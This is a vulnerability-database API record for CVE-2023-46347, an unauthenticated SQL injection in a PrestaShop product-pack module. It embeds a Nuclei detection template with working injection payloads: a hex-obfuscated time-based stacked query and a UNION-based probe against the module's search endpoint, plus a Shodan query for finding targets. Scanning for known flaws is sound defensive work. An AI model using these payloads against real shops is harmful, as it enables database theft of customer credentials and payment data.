{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-46347/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-46347/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-46347/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-46347/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-46347/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-46347"},"sightings":{"href":"/api/v1/sightings/cve-2023-46347"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-46347.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-46347\n\ninfo:\n  name: PrestaShop Step by Step products Pack - SQL Injection\n  author: MaStErChO\n  severity: critical\n  description: |\n    In the module “Step by Step products Pack” (ndk_steppingpack) up to 1.5.6 from NDK Design for PrestaShop, a guest can perform SQL injection in affected versions.\n  impact: |\n    Unauthenticated attackers can execute arbitrary SQL queries, potentially extracting sensitive database information including user credentials and payment data.\n  remediation: |\n    Update the Step by Step products Pack (ndk_steppingpack) module to version 1.5.7 or later from NDK Design.\n  reference:\n    - https://security.friendsofpresta.org/modules/2023/10/24/ndk_steppingpack.html\n    - https://stack.chaitin.com/poc/detail/3977\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-46347\n    cwe-id: CWE-89\n    epss-score: 0.49885\n    epss-percentile: 0.9886\n    cpe: cpe:2.3:a:ndkdesign:ndk_steppingpack:*:*:*:*:*:prestashop:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: ndkdesign\n    product: ndk_steppingpack\n    framework: prestashop\n    shodan-query: http.component:\"prestashop\"\n  tags: time-based-sqli,cve,cve2023,sqli,prestashop,ndk_steppingpack,ndkdesign,vkev,vuln\n\nvariables:\n  num: \"999999999\"\n\nhttp:\n  - raw:\n      - |\n        @timeout: 15s\n        POST /modules/ndk_steppingpack/search-result.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        search_query=1%22%29;select+0x73656c65637420736c6565702836293b+into+@a;prepare+b+from+@a;execute+b;--\n\n      - |\n        @timeout: 15s\n        POST /modules/ndk_steppingpack/search-result.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        search_query=1\")+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}})),NULL,NULL,NULL,NULL--+-\n\n    stop-at-first-match: true\n    host-redirects: true\n    max-redirects: 3\n    matchers:\n      - type: dsl\n        name: Time Based\n        dsl:\n          - 'status_code_1 != 404'\n          - 'duration_1>=6'\n          - 'contains(content_type_1, \"text/html\")'\n          - 'contains_any(tolower(response_1), \"prestashop\", \"xipblog\")'\n        condition: and\n\n      - type: word\n        name: union-based\n        part: body_2\n        words:\n          - '{{md5({{num}})}}'\n# digest: 4a0a00473045022100812d807232318f45680970672236ee2b3c57fa703d4559a9695b37ac23130bef02205f927155254b15de27734cbd1da0069afd96dd3352eb52e9b557558544e18089:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-46347"}